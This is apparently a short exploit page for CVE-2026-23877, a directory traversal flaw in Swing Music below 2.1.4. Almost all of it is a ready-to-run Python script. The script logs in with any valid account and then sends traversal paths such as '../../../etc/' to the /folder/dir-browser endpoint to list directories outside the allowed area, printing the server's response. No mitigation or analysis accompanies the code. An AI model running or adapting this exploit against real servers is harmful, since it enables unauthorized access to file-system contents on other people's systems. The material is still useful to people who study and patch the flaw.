CVE-2026-23877: Swing Music 目录遍历漏洞

import requests import sys # CVE-2026-23877 PoC - Swing Music Directory Traversal # Target: Swing Music < 2.1.4 # Endpoint: /folder/dir-browser def exploit(target_url, username, password, target_path): """ Exploit directory traversal vulnerability in Swing Music Args: target_url: Base URL of the vulnerable application username: Valid username (any user including non-admin) password: User password target_path: Path to read (e.g., ../../../etc/) """ # Login to get authenticated session login_url = f"{target_url}/auth/login" session = requests.Session() login_data = { "username": username, "password": password } try: # Authenticate login_response = session.post(login_url, json=login_data, timeout=10) if login_response.status_code != 200: print(f"[-] Authentication failed") return False print(f"[+] Successfully authenticated as {username}") # Exploit directory traversal dir_browser_url = f"{target_url}/folder/dir-browser" params = { "path": target_path # e.g., ../../../etc/ } exploit_response = session.get(dir_browser_url, params=params, timeout=10) if exploit_response.status_code == 200: print(f"[+] Directory traversal successful!") print(f"[+] Response:") print(exploit_response.text) return True else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2026-23877.py <target_url> <username> <password> <target_path>") print("Example: python cve-2026-23877.py http://localhost:8271 admin password '../../../etc/'") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] target_path = sys.argv[4] exploit(target_url, username, password, target_path)